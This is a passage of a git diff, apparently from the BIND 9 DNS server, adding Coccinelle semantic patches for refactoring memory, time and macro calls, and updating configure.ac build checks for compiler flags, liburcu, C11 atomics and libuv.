@@ -0,0 +1,161 @@
+@@
+expression MCTX, COUNT;
+type ELEM;
+@@
+
+- isc_mem_get(MCTX, COUNT * sizeof(ELEM))
++ isc_mem_cget(MCTX, COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, COUNT, ELEM;
+@@
+
+- isc_mem_get(MCTX, COUNT * sizeof(ELEM))
++ isc_mem_cget(MCTX, COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, OLD_PTR, COUNT;
+type ELEM;
+@@
+
+- isc_mem_put(MCTX, OLD_PTR, COUNT * sizeof(ELEM))
++ isc_mem_cput(MCTX, OLD_PTR, COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, OLD_PTR, COUNT, ELEM;
+@@
+
+- isc_mem_put(MCTX, OLD_PTR, COUNT * sizeof(ELEM))
++ isc_mem_cput(MCTX, OLD_PTR, COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, COUNT;
+type ELEM;
+@@
+
+- isc_mem_get(MCTX, sizeof(ELEM) * COUNT)
++ isc_mem_cget(MCTX, COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, COUNT, ELEM;
+@@
+
+- isc_mem_get(MCTX, sizeof(ELEM) * COUNT)
++ isc_mem_cget(MCTX, COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, OLD_PTR, COUNT;
+type ELEM;
+@@
+
+- isc_mem_put(MCTX, OLD_PTR, sizeof(ELEM) * COUNT)
++ isc_mem_cput(MCTX, OLD_PTR, COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, OLD_PTR, COUNT, ELEM;
+@@
+
+- isc_mem_put(MCTX, OLD_PTR, sizeof(ELEM) * COUNT)
++ isc_mem_cput(MCTX, OLD_PTR, COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, OLD_PTR, NEW_PTR, OLD_COUNT, NEW_COUNT;
+identifier OLD_SIZE, NEW_SIZE;
+type ELEM;
+@@
+
+- size_t OLD_SIZE = OLD_COUNT * sizeof(ELEM);
+- size_t NEW_SIZE = NEW_COUNT * sizeof(ELEM);
+- NEW_PTR = isc_mem_reget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE);
++ NEW_PTR = isc_mem_creget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM));
+
+@@
+expression MCTX, OLD_PTR, NEW_PTR, OLD_COUNT, NEW_COUNT, ELEM;
+identifier OLD_SIZE, NEW_SIZE;
+@@
+
+- size_t OLD_SIZE = OLD_COUNT * sizeof(ELEM);
+- size_t NEW_SIZE = NEW_COUNT * sizeof(ELEM);
+- NEW_PTR = isc_mem_reget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE);
++ NEW_PTR = isc_mem_creget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM));
+
+@@
+expression MCTX, OLD_PTR, NEW_PTR, OLD_COUNT, NEW_COUNT;
+identifier OLD_SIZE, NEW_SIZE;
+type ELEM;
+@@
+
+- size_t NEW_SIZE = NEW_COUNT * sizeof(ELEM);
+- size_t OLD_SIZE = OLD_COUNT * sizeof(ELEM);
+- NEW_PTR = isc_mem_reget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE);
++ NEW_PTR = isc_mem_creget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM));
+
+@@
+expression MCTX, OLD_PTR, NEW_PTR, OLD_COUNT, NEW_COUNT, ELEM;
+identifier OLD_SIZE, NEW_SIZE;
+@@
+
+- size_t NEW_SIZE = NEW_COUNT * sizeof(ELEM);
+- size_t OLD_SIZE = OLD_COUNT * sizeof(ELEM);
+- NEW_PTR = isc_mem_reget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE);
++ NEW_PTR = isc_mem_creget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM));
+
+@@
+expression MCTX, OLD_PTR, NEW_PTR, OLD_SIZE, OLD_COUNT, NEW_SIZE, NEW_COUNT;
+type ELEM;
+@@
+
+- OLD_SIZE = OLD_COUNT * sizeof(ELEM);
+- NEW_SIZE = NEW_COUNT * sizeof(ELEM);
+- NEW_PTR = isc_mem_reget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE);
++ NEW_PTR = isc_mem_creget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM));
+
+@@
+expression MCTX, OLD_PTR, NEW_PTR, OLD_SIZE, OLD_COUNT, NEW_SIZE, NEW_COUNT, ELEM;
+@@
+
+- OLD_SIZE = OLD_COUNT * sizeof(ELEM);
+- NEW_SIZE = NEW_COUNT * sizeof(ELEM);
+- NEW_PTR = isc_mem_reget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE);
++ NEW_PTR = isc_mem_creget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM));
+
+@@
+expression MCTX, OLD_PTR, NEW_PTR, OLD_SIZE, OLD_COUNT, NEW_SIZE, NEW_COUNT;
+type ELEM;
+@@
+
+- NEW_SIZE = NEW_COUNT * sizeof(ELEM);
+- OLD_SIZE = OLD_COUNT * sizeof(ELEM);
+- NEW_PTR = isc_mem_reget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE);
++ NEW_PTR = isc_mem_reget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM));
+
+@@
+expression MCTX, OLD_PTR, NEW_PTR, OLD_SIZE, OLD_COUNT, NEW_SIZE, NEW_COUNT, ELEM;
+@@
+
+- NEW_SIZE = NEW_COUNT * sizeof(ELEM);
+- OLD_SIZE = OLD_COUNT * sizeof(ELEM);
+- NEW_PTR = isc_mem_reget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE);
++ NEW_PTR = isc_mem_creget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM));
+
+@@
+expression MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT;
+type ELEM;
+@@
+
+- isc_mem_reget(MCTX, OLD_PTR, OLD_COUNT * sizeof(ELEM), NEW_COUNT * sizeof(ELEM))
++ isc_mem_creget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, ELEM;
+@@
+
+- isc_mem_reget(MCTX, OLD_PTR, OLD_COUNT * sizeof(ELEM), NEW_COUNT * sizeof(ELEM))
++ isc_mem_creget(MCTX, OLD_PTR, OLD_COUNT, NEW_COUNT, sizeof(ELEM))
+
+@@
+expression MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE;
+@@
+
+- isc_mem_reget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE)
++ isc_mem_creget(MCTX, OLD_PTR, OLD_SIZE, NEW_SIZE, sizeof(char))
diff --git a/cocci/isc_mempool_get_never_fail.spatch b/cocci/isc_mempool_get_never_fail.spatch
new file mode 100644
index 0000000000..232ff9b369
--- /dev/null
+++ b/cocci/isc_mempool_get_never_fail.spatch
@@ -0,0 +1,41 @@
+@@
+statement S;
+expression V;
+@@
+
+V = isc_mempool_get(...);
+- if (V == NULL) S
+
+@@
+type T;
+statement S;
+expression V;
+@@
+
+V = (T *)isc_mempool_get(...);
+- if (V == NULL) S
+
+@@
+statement S;
+expression V;
+@@
+
+if (V == NULL) V = isc_mempool_get(...);
+- if (V == NULL) S
+
+@@
+statement S1, S2;
+expression V;
+@@
+
+V = isc_mempool_get(...);
+- if (V == NULL) S1 else { S2 }
++ S2
+
+@@
+type T;
+expression V, E1, E2;
+@@
+
+- V = (T)isc_mempool_get(E1, E2);
++ V = isc_mempool_get(E1, E2);
diff --git a/cocci/isc_stdtime_now.spatch b/cocci/isc_stdtime_now.spatch
new file mode 100644
index 0000000000..b877048503
--- /dev/null
+++ b/cocci/isc_stdtime_now.spatch
@@ -0,0 +1,6 @@
+@@
+expression t;
+@@
+
+- isc_stdtime_get(&t);
++ t = isc_stdtime_now();
diff --git a/cocci/isc_time_now.spatch b/cocci/isc_time_now.spatch
new file mode 100644
index 0000000000..c3c3aa495a
--- /dev/null
+++ b/cocci/isc_time_now.spatch
@@ -0,0 +1,75 @@
+@@
+statement S;
+expression V, E;
+@@
+
+- V = isc_time_now(&E);
+- if (V != ISC_R_SUCCESS) S
++ E = isc_time_now();
+
+@@
+expression V, E;
+@@
+
+- V = isc_time_now(&E);
+- RUNTIME_CHECK(V == ISC_R_SUCCESS);
++ E = isc_time_now();
+
+@@
+expression V, E;
+@@
+
+- V = isc_time_now(&E);
+- assert_int_equal(V, ISC_R_SUCCESS);
++ E = isc_time_now();
+
+@@
+expression E;
+@@
+
+- assert_int_equal(isc_time_now(&E), ISC_R_SUCCESS);
++ E = isc_time_now();
+
+@@
+expression E;
+@@
+
+- TIME_NOW(&E);
++ E = isc_time_now();
+
+@@
+expression E;
+@@
+
+- CHECK(isc_time_now(&E));
++ E = isc_time_now();
+
+@@
+statement S;
+expression V, E;
+@@
+
+- V = isc_time_now_hires(&E);
+- if (V != ISC_R_SUCCESS) S
++ E = isc_time_now_hires();
+
+@@
+expression E;
+@@
+
+- isc_time_now(&E);
++ E = isc_time_now();
+
+@@
+expression E;
+@@
+
+- isc_time_now_hires(&E);
++ E = isc_time_now_hires();
+
+@@
+expression E;
+@@
+
+- TIME_NOW_HIRES(&E);
++ E = isc_time_now_hires();
diff --git a/cocci/set_if_not_null.spatch b/cocci/set_if_not_null.spatch
new file mode 100644
index 0000000000..ce44d67250
--- /dev/null
+++ b/cocci/set_if_not_null.spatch
@@ -0,0 +1,14 @@
+@@
+type T;
+identifier fun;
+identifier arg;
+expression val;
+@@
+	fun(..., T *arg, ...) {
+		...
+-		if (arg != NULL) {
+-				*arg = val;
+-		}
++		SET_IF_NOT_NULL(arg, val);
+		...
+	}
diff --git a/cocci/unreachable.spatch b/cocci/unreachable.spatch
index 0cc368a516..84c0c344bb 100644
--- a/cocci/unreachable.spatch
+++ b/cocci/unreachable.spatch
@@ -1,6 +1,19 @@
 @@
 @@
 
-    INSIST(0);
-+   ISC_UNREACHABLE();
-    ... when != ISC_UNREACHABLE();
+-   INSIST(0);
++   UNREACHABLE();
+    ... when != UNREACHABLE();
+
+@@
+@@
+
+-   INSIST(0);
+-   ISC_UNREACHABLE();
++   UNREACHABLE();
+
+@@
+@@
+
+- UNREACHABLE();
+  UNREACHABLE();
diff --git a/cocci/unsigned-int.spatch b/cocci/unsigned-int.spatch
new file mode 100644
index 0000000000..9b4aaa5474
--- /dev/null
+++ b/cocci/unsigned-int.spatch
@@ -0,0 +1,5 @@
+@@
+@@
+
+- unsigned
++ unsigned int
diff --git a/configure.ac b/configure.ac
index 0cb4be3296..0117d941f2 100644
--- a/configure.ac
+++ b/configure.ac
@@ -1,8 +1,10 @@
 # Copyright (C) Internet Systems Consortium, Inc. ("ISC")
 #
+# SPDX-License-Identifier: MPL-2.0
+#
 # This Source Code Form is subject to the terms of the Mozilla Public
-# License, v. 2.0. If a copy of the MPL was not distributed with this
-# file, You can obtain one at http://mozilla.org/MPL/2.0/.
+# License, v. 2.0.  If a copy of the MPL was not distributed with this
+# file, you can obtain one at https://mozilla.org/MPL/2.0/.
 #
 # See the COPYRIGHT file distributed with this work for additional
 # information regarding copyright ownership.
@@ -13,8 +15,8 @@
 # a shell variable in AC_INIT
 #
 m4_define([bind_VERSION_MAJOR], 9)dnl
-m4_define([bind_VERSION_MINOR], 17)dnl
-m4_define([bind_VERSION_PATCH], 12)dnl
+m4_define([bind_VERSION_MINOR], 19)dnl
+m4_define([bind_VERSION_PATCH], 17)dnl
 m4_define([bind_VERSION_EXTRA], )dnl
 m4_define([bind_DESCRIPTION], [(Development Release)])dnl
 m4_define([bind_SRCID], [m4_esyscmd_s([git rev-parse --short HEAD | cut -b1-7])])dnl
@@ -23,7 +25,7 @@ m4_define([bind_PKG_VERSION], [[bind_VERSION_MAJOR.bind_VERSION_MINOR.bind_VERSI
 #
 # Autoconf initialization
 #
-AC_INIT([BIND], bind_PKG_VERSION, [info@isc.org], [], [https://www.isc.org/downloads/])
+AC_INIT([BIND], bind_PKG_VERSION, [https://gitlab.isc.org/isc-projects/bind9/-/issues/new?issuable_template=Bug], [], [https://www.isc.org/downloads/])
 AC_PREREQ([2.69])
 
 AC_DEFINE([PACKAGE_VERSION_MAJOR], ["][bind_VERSION_MAJOR]["], [BIND 9 Major part of the version])
@@ -33,23 +35,6 @@ AC_DEFINE([PACKAGE_VERSION_EXTRA], ["][bind_VERSION_EXTRA]["], [BIND 9 Extra par
 AC_DEFINE([PACKAGE_DESCRIPTION], [m4_ifnblank(bind_DESCRIPTION, [" ]bind_DESCRIPTION["], [])], [An extra string to print after PACKAGE_STRING])
 AC_DEFINE([PACKAGE_SRCID], ["][bind_SRCID]["], [A short hash from git])
 
-# This value should be increased whenever changing the structure of
-# any object that will appear in a type 'map' master file (which
-# contains a working memory image of an RBT database), as loading 
-# an incorrect memory image produces an inconsistent and probably
-# nonfunctional database.  These structures include but are not
-# necessarily limited to dns_masterrawheader, rbtdb_file_header,
-# rbt_file_header, dns_rbtdb, dns_rbt, dns_rbtnode, rdatasetheader.
-#
-# Err on the side of caution: if anything in the RBTDB is changed,
-# bump the value.  Making map files unreadable protects the system
-# from instability; it's a feature not a bug.
-#
-# Whenever releasing a new major release of BIND9, set this value
-# back to 1.0 when releasing the first alpha.  Map files are *never*
-# compatible across major releases.
-AC_DEFINE([MAPAPI], ["2.0"], [BIND 9 MAPAPI Version])
-
 bind_CONFIGARGS="${ac_configure_args:-default}"
 AC_DEFINE_UNQUOTED([PACKAGE_CONFIGARGS], ["$bind_CONFIGARGS"], [Either 'defaults' or used ./configure options])
 
@@ -63,7 +48,7 @@ AC_CANONICAL_HOST
 AC_CANONICAL_TARGET
 
 AC_CONFIG_SRCDIR([bin/named/main.c])
-AM_INIT_AUTOMAKE([1.9 tar-pax foreign subdir-objects dist-xz no-dist-gzip -Wall -Werror])
+AM_INIT_AUTOMAKE([1.14 tar-pax foreign subdir-objects dist-xz no-dist-gzip -Wall -Werror])
 AM_SILENT_RULES([yes])
 AM_EXTRA_RECURSIVE_TARGETS([test unit doc])
 
@@ -94,7 +79,7 @@ AC_PROG_CPP_WERROR
 #
 # Find build compiler when cross compiling
 #
-AX_CC_FOR_BUILD
+AX_PROG_CC_FOR_BUILD
 
 #
 # Find the machine's endian flavor.
@@ -123,19 +108,39 @@ AC_PROG_MKDIR_P
 # Initialize libtool
 LT_INIT([disable-static dlopen pic-only])
 
+DLOPEN_LIBS="$lt_cv_dlopen_libs"
+AC_SUBST(DLOPEN_LIBS)
+
 AS_IF([test "$enable_static" != "no" && test "$enable_developer" != "yes"],
       [AC_MSG_ERROR([Static linking is not supported as it disables dlopen() and certain security features (e.g. RELRO, ASLR)])])
 
+
 #
-# Set the default CFLAGS and CPPFLAGS
+# Set the default CFLAGS, CPPFLAGS, and LDFLAGS
 #
 STD_CFLAGS="-Wall -Wextra -Wwrite-strings -Wpointer-arith -Wno-missing-field-initializers -Wformat -Wshadow"
 
 # These should be always errors
-STD_CFLAGS="$STD_CFLAGS -Werror=implicit-function-declaration -Werror=missing-prototypes -Werror=format-security -Werror=parentheses -Werror=implicit -Werror=strict-prototypes"
+STD_CFLAGS="$STD_CFLAGS -Werror=implicit-function-declaration -Werror=missing-prototypes -Werror=format-security -Werror=parentheses -Werror=implicit -Werror=strict-prototypes -Werror=vla"
 
-# Fortify the sources by default
-STD_CPPFLAGS="-D_FORTIFY_SOURCE=2"
+# Disable false positives generated by GCC 11+ and ASAN
+AC_COMPILE_IFELSE(
+  [AC_LANG_PROGRAM([[]],
+		   [[#if __GNUC__ >= 11 && defined(__SANITIZE_ADDRESS__)
+		     #error Address Sanitizer enabled
+		     #endif
+		    ]])],
+  [],
+  [STD_CFLAGS="$STD_CFLAGS -Wno-stringop-overread"])
+
+STD_LDFLAGS=""
+
+# ... except in test code
+TEST_CFLAGS="-Wno-vla"
+
+# Fortify the sources by default (we undefine the macro first in case
+# the compiler has a different built-in setting)
+STD_CPPFLAGS="-U_FORTIFY_SOURCE -D_FORTIFY_SOURCE=2"
 
 #
 # Additional compiler settings.
@@ -148,6 +153,9 @@ AX_CHECK_COMPILE_FLAG([-Werror -fno-delete-null-pointer-checks],
 AX_CHECK_COMPILE_FLAG([-fdiagnostics-show-option],
 		      [STD_CFLAGS="$STD_CFLAGS -fdiagnostics-show-option"])
 
+AX_CHECK_LINK_FLAG([-Wl,--export-dynamic],
+		   [STD_LDFLAGS="$STD_LDFLAGS -Wl,--export-dynamic"])
+
 host_macos=no
 AS_CASE([$host],[*-darwin*],[host_macos=yes])
 AM_CONDITIONAL([HOST_MACOS], [test "$host_macos" = "yes"])
@@ -163,11 +171,10 @@ AC_ARG_ENABLE([developer],
 
 AS_IF([test "$enable_developer" = "yes"],
       [DEVELOPER_MODE=yes
-       STD_CPPFLAGS="$STD_CPPFLAGS -DISC_MEM_DEFAULTFILL=1 -DISC_MEM_TRACKLINES=1 -DISC_LIST_CHECKINIT=1"
+       STD_CPPFLAGS="$STD_CPPFLAGS -DISC_MEM_DEFAULTFILL=1 -DISC_MEM_TRACKLINES=1 -DISC_LIST_CHECKINIT=1 -DISC_STATS_CHECKUNDERFLOW=1 -DDNS_RBTDB_STRONG_RWLOCK_CHECK=1"
        test "${enable_fixed_rrset+set}" = set || enable_fixed_rrset=yes
        test "${enable_querytrace+set}" = set || enable_querytrace=yes
        test "${with_cmocka+set}" = set || with_cmocka=yes
-       test "${with_dlz_filesystem+set}" = set || with_dlz_filesystem=yes
        test "${with_zlib+set}" = set || with_zlib=yes
        test "${enable_warn_error+set}" = set || enable_warn_error=yes
        ])
@@ -175,6 +182,8 @@ AS_IF([test "$enable_developer" = "yes"],
 AC_SUBST([DEVELOPER_MODE])
 AC_SUBST([STD_CFLAGS])
 AC_SUBST([STD_CPPFLAGS])
+AC_SUBST([STD_LDFLAGS])
+AC_SUBST([TEST_CFLAGS])
 
 # [pairwise: --enable-warn-error, --disable-warn-error]
 AC_ARG_ENABLE([warn_error],
@@ -192,17 +201,64 @@ PKG_PROG_PKG_CONFIG
 AS_IF([test -z "$PKG_CONFIG"],
       [AC_MSG_ERROR([The pkg-config script could not be found or is too old.])])
 
-# [pairwise: --enable-buffer-useinline, --disable-buffer-useinline]
-AC_ARG_ENABLE(buffer_useinline,
-	      AS_HELP_STRING([--enable-buffer-useinline],
-			     [define ISC_BUFFER_USEINLINE when compiling
-				[default=yes]]),
-	      if test yes = "${enable}"
-	      then
-		      AC_DEFINE([ISC_BUFFER_USEINLINE], [1],
-				[Define if you want to use inline buffers])
-	      fi,
-	      AC_DEFINE([ISC_BUFFER_USEINLINE], [1]))
+#
+# Pick Userspace-RCU flavor (developer only option)
+#
+# [pairwise: --with-liburcu=membarrier, --with-liburcu=qsbr, --with-liburcu=mb, --with-liburcu=signal, --with-liburcu=bp]
+AC_ARG_WITH([liburcu],
+	    [AS_HELP_STRING([--with-liburcu=FLAVOR],
+			     [Build with Userspace-RCU variant (membarrier|qsbr|mb|signal|bp) [default=membarrier]]))],
+	    [], [with_liburcu=membarrier])
+
+AC_MSG_CHECKING([liburcu flavor])
+AS_CASE([$with_liburcu],
+	[membarrier],
+	[RCU_FLAVOR="liburcu"
+	 AC_DEFINE([RCU_MEMBARRIER], [1], [Build with membarrier Userspace-RCU flavor])],
+	[qsbr],
+	[RCU_FLAVOR="liburcu-qsbr"
+	 AC_DEFINE([RCU_QSBR], [1], [Build with QSBR Userspace-RCU flavor])],
+	[mb],
+	[RCU_FLAVOR="liburcu-mb"
+	 AC_DEFINE([RCU_MB], [1], [Build with mb Userspace-RCU flavor])],
+	[signal],
+	[RCU_FLAVOR="liburcu-signal"
+	 AC_DEFINE([RCU_SIGNAL], [1], [Build with signal Userspace-RCU flavor])],
+	[bp],
+	[RCU_FLAVOR="liburcu-bp"
+	 AC_DEFINE([RCU_BP], [1], [Build with bulletproof Userspace-RCU flavor])],
+	[AC_MSG_ERROR([Invalid Userspace-RCU flavor picked])])
+
+AC_MSG_RESULT([$RCU_FLAVOR])
+
+#
+# liburcu << v0.13.0 didn't add -lurcu-common and some toolchains would
+# not add it automatically - we need to add it explicitly in such case.
+#
+PKG_CHECK_MODULES([LIBURCU], [$RCU_FLAVOR >= 0.13.0 liburcu-cds >= 0.13.0], [],
+		  [PKG_CHECK_MODULES([LIBURCU], [$RCU_FLAVOR >= 0.10.0 liburcu-cds >= 0.10.0],
+				     [LIBURCU_LIBS="$LIBURCU_LIBS -lurcu-common"])])
+
+AC_DEFINE_UNQUOTED([RCU_FLAVOR], ["$RCU_FLAVOR"], [Chosen Userspace-RCU flavor])
+
+PKG_CHECK_VERSION([RCU_VERSION], [$RCU_FLAVOR])
+AC_DEFINE_UNQUOTED([RCU_VERSION], ["$RCU_VERSION"], [Compile-time Userspace-RCU version])
+
+CFLAGS="$CFLAGS $LIBURCU_CFLAGS"
+LIBS="$LIBS $LIBURCU_LIBS"
+
+#
+# Userspace-RCU inlining doesn't work for rcu_deference() with some combination
+# of C compiler and library version.
+#
+AC_MSG_CHECKING([whether we can inline small liburcu functions])
+AC_COMPILE_IFELSE(
+  [AC_LANG_PROGRAM([[#define URCU_INLINE_SMALL_FUNCTIONS 1
+		     #include <urcu.h>]],
+		   [[struct opaque *a; struct opaque *b = rcu_dereference(a);]])],
+  [AC_MSG_RESULT([yes])
+   AC_DEFINE([URCU_INLINE_SMALL_FUNCTIONS], [1], [Inline small (less than 10 lines) functions])],
+  [AC_MSG_RESULT([no])])
 
 # Fuzzing is not included in pairwise testing as fuzzing tools are
 # not present in the relevant Docker image.
@@ -248,28 +304,6 @@ AS_IF([test "$enable_fuzzing" = "afl"],
 			 [AC_MSG_ERROR([set CC=afl-<gcc|clang> when --enable-fuzzing=afl is used])])
       ])
 
-# [pairwise: --enable-mutex-atomics, --disable-mutex-atomics]
-AC_ARG_ENABLE(mutex_atomics,
-	      AS_HELP_STRING([--enable-mutex-atomics],
-			     [emulate atomics by mutex-locked variables, useful for debugging
-				[default=no]]),
-	      [],
-	      [enable_mutex_atomics=no])
-
-AC_MSG_CHECKING([whether to emulate atomics with mutexes])
-case "$enable_mutex_atomics" in
-yes)
-	AC_MSG_RESULT(yes)
-	AC_DEFINE(ISC_MUTEX_ATOMICS, 1, [Define to emulate atomic variables with mutexes.])
-	;;
-no)
-	AC_MSG_RESULT(no)
-	;;
-*)
-	AC_MSG_ERROR("--enable-mutex-atomics requires yes or no")
-	;;
-esac
-
 #
 # Perl is optional; it is used only by some of the system test scripts.
 #
@@ -300,7 +334,7 @@ AM_CONDITIONAL([HAVE_PERLMOD_TIME_HIRES],
 #
 # Python is optional, it is used only by some of the system test scripts.
 #
-AM_PATH_PYTHON([3.4], [], [:])
+AM_PATH_PYTHON([3.6], [], [:])
 AM_CONDITIONAL([HAVE_PYTHON], [test "$PYTHON" != ":"])
 
 AC_PATH_PROGS([PYTEST], [pytest-3 py.test-3 pytest py.test pytest-pypy], [])
@@ -339,12 +373,47 @@ AC_CHECK_HEADERS([fcntl.h regex.h sys/time.h unistd.h sys/mman.h sys/sockio.h sy
 		 ])
 
 #
-# Check for thread local storage
+# Check for C11 thread local storage
+#
+# NOTE: OpenBSD doesn't ship <threads.h>, so we can't require it (yet).
 #
 AC_CHECK_HEADERS([threads.h])
-AX_TLS([AS_IF([test "$ac_cv_tls" != "thread_local"],
-	      [AC_DEFINE_UNQUOTED([thread_local], [$ac_cv_tls], [Define if the compiler uses a different keyword than thread_local for TLS variables])])],
-       [AC_MSG_ERROR([Thread Local Storage support required, update your toolchain to build BIND 9])])
+
+#
+# C11 Atomic Operations
+#
+
+AC_CHECK_HEADERS([stdatomic.h],
+		 [],
+		 [AC_MSG_ERROR([C11 Atomic Operations required, update your toolchain to build BIND 9])])
+
+AC_COMPILE_IFELSE(
+  [AC_LANG_PROGRAM(
+     [[#include <stdatomic.h>]],
+     [[atomic_int_fast32_t val = 0; atomic_fetch_add_explicit(&val, 1, memory_order_relaxed);]]
+   )],
+  [AC_MSG_CHECKING([whether -latomic is needed for 64-bit stdatomic.h functions])
+   AC_LINK_IFELSE(
+     [AC_LANG_PROGRAM(
+	[[#include <stdatomic.h>]],
+	[[atomic_int_fast64_t val = 0; atomic_fetch_add_explicit(&val, 1, memory_order_relaxed);]]
+      )],
+     [AC_MSG_RESULT([no])],
+     [LIBS="$LIBS -latomic"
+      AC_LINK_IFELSE(
+	[AC_LANG_PROGRAM(
+	   [[#include <stdatomic.h>]],
+	   [[atomic_int_fast64_t val = 0; atomic_fetch_add_explicit(&val, 1, memory_order_relaxed);]]
+	 )],
+	[AC_MSG_RESULT([yes])],
+	[AC_MSG_FAILURE([libatomic needed, but linking with -latomic failed, please fix your toolchain.])])
+     ])
+  ],
+  [AC_MSG_FAILURE([stdatomic.h header found, but compilation failed, please fix your toolchain.])])
+
+AC_CHECK_HEADERS([stdalign.h stdnoreturn.h],
+		 [],
+		 [AC_MSG_ERROR([C11 standard headers not found, update your toolchain.])])
 
 AC_C_CONST
 AC_C_INLINE
@@ -354,8 +423,8 @@ AC_C_VOLATILE
 # Check for yield support on ARM processors
 #
 AS_CASE([$host],
-	[arm*],
-	[AC_MSG_CHECKING([for yield instruction support])
+	[arm*|aarch64*],
+	[AC_MSG_CHECKING([for ARM yield instruction support])
 	 AC_COMPILE_IFELSE(
 	     [AC_LANG_PROGRAM([[]],
 			     [[__asm__ __volatile__ ("yield")]])],
@@ -381,15 +450,10 @@ AS_CASE([$host],
 AC_CHECK_FUNCS([sysctlbyname])
 
 #
-# Check for the existence of mmap to enable the fast format zones
-#
-AC_CHECK_FUNCS(mmap)
-
-#
-# Older versions of HP/UX don't define seteuid() and setegid()
+# Check for uid/gid setting variants
 #
-AC_CHECK_FUNCS([seteuid setresuid])
-AC_CHECK_FUNCS([setegid setresgid])
+AC_CHECK_FUNCS([setresuid setreuid getresuid])
+AC_CHECK_FUNCS([setresgid setregid getresgid])
 
 AC_TYPE_SIZE_T
 AC_TYPE_SSIZE_T
@@ -451,40 +515,9 @@ AC_COMPILE_IFELSE(
 AX_GCC_FUNC_ATTRIBUTE([returns_nonnull])
 
 #
-# check if we have kqueue
+# how to link math functions?
 #
-# [pairwise: --enable-kqueue, --disable-kqueue]
-AC_ARG_ENABLE([kqueue],
-	      [AS_HELP_STRING([--enable-kqueue],
-			      [use BSD kqueue when available [default=yes]])],
-	      [], enable_kqueue="yes")
-
-AS_IF([test "$enable_kqueue" = "yes"],
-      [AC_CHECK_FUNCS([kqueue])])
-
-#
-# check if we have epoll.  Linux kernel 2.4 has epoll_create() which fails,
-# so we need to try running the code, not just test its existence.
-#
-# [pairwise: --enable-epoll, --disable-epoll]
-AC_ARG_ENABLE([epoll],
-	      [AS_HELP_STRING([--enable-epoll],
-			      [use Linux epoll when available [default=auto]])],
-	      [], [enable_epoll="yes"])
-
-AS_IF([test "$enable_epoll" = "yes"],
-      [AC_CHECK_FUNCS([epoll_create1])])
-
-#
-# check if we support /dev/poll
-#
-# [pairwise: --enable-devpoll, --disable-devpoll]
-AC_ARG_ENABLE([devpoll],
-	      [AS_HELP_STRING([--enable-devpoll],
-			      [use /dev/poll when available [default=yes]])],
-	      [], [enable_devpoll="yes"])
-AS_IF([test "$enable_devpoll" = "yes"],
-      [AC_CHECK_HEADERS([sys/devpoll.h devpoll.h])])
+AC_SEARCH_LIBS([sqrt],[m])
 
 #
 # GeoIP support?
@@ -524,7 +557,7 @@ AS_IF([test "$enable_geoip" = "yes"],
 				  [AC_DEFINE([HAVE_GEOIP2], [1], [Build with GeoIP2 support])
 				   MAXMINDDB_LIBS="$MAXMINDDB_LIBS $ac_cv_search_MMDB_open"
 				   AC_MSG_NOTICE([GeoIP2 default database path set to $with_maxminddb/share/GeoIP])
-				   AS_VAR_COPY([MAXMINDDB_PREFIX], [$with_maxminddb])
+				   AS_VAR_COPY([MAXMINDDB_PREFIX], [with_maxminddb])
 				  ],
 				  [AC_MSG_ERROR([GeoIP2 requested, but libmaxminddb not found])])
 		   AX_RESTORE_FLAGS([maxminddb])
@@ -543,7 +576,7 @@ LIBS="$PTHREAD_LIBS $LIBS"
 CFLAGS="$CFLAGS $PTHREAD_CFLAGS"
 CC="$PTHREAD_CC"
 
-AC_CHECK_FUNCS([pthread_attr_getstacksize pthread_attr_setstacksize])
+AC_CHECK_FUNCS([pthread_attr_getstacksize pthread_attr_setstacksize pthread_barrier_init pthread_spin_init])
 
 # [pairwise: --with-locktype=adaptive, --with-locktype=standard]
 AC_ARG_WITH([locktype],
@@ -581,27 +614,59 @@ AC_CHECK_HEADERS([sched.h])
 AC_SEARCH_LIBS([sched_yield],[rt])
 AC_CHECK_FUNCS([sched_yield pthread_yield pthread_yield_np])
 
-AC_CHECK_HEADERS([sys/cpuset.h])
-AC_CHECK_HEADERS([sys/procset.h])
-AC_CHECK_FUNCS([pthread_setaffinity_np cpuset_setaffinity processor_bind sched_setaffinity])
-
 # Look for functions relating to thread naming
 AC_CHECK_FUNCS([pthread_setname_np pthread_set_name_np])
 AC_CHECK_HEADERS([pthread_np.h], [], [], [#include <pthread.h>])
 
 # libuv
-AC_MSG_CHECKING([for libuv])
-PKG_CHECK_MODULES([LIBUV], [libuv >= 1.0.0], [],
-		  [AC_MSG_ERROR([libuv not found])])
+PKG_CHECK_MODULES([LIBUV], [libuv >= 1.37.0], [],
+		  [PKG_CHECK_MODULES([LIBUV], [libuv >= 1.34.0 libuv < 1.35.0], [],
+				     [AC_MSG_ERROR([libuv >= 1.34.0 (except 1.35.0 and 1.36.0) not found])])])
+
+PKG_CHECK_VERSION([LIBUV_VERSION], [libuv])
+
+AX_SAVE_FLAGS([libuv])
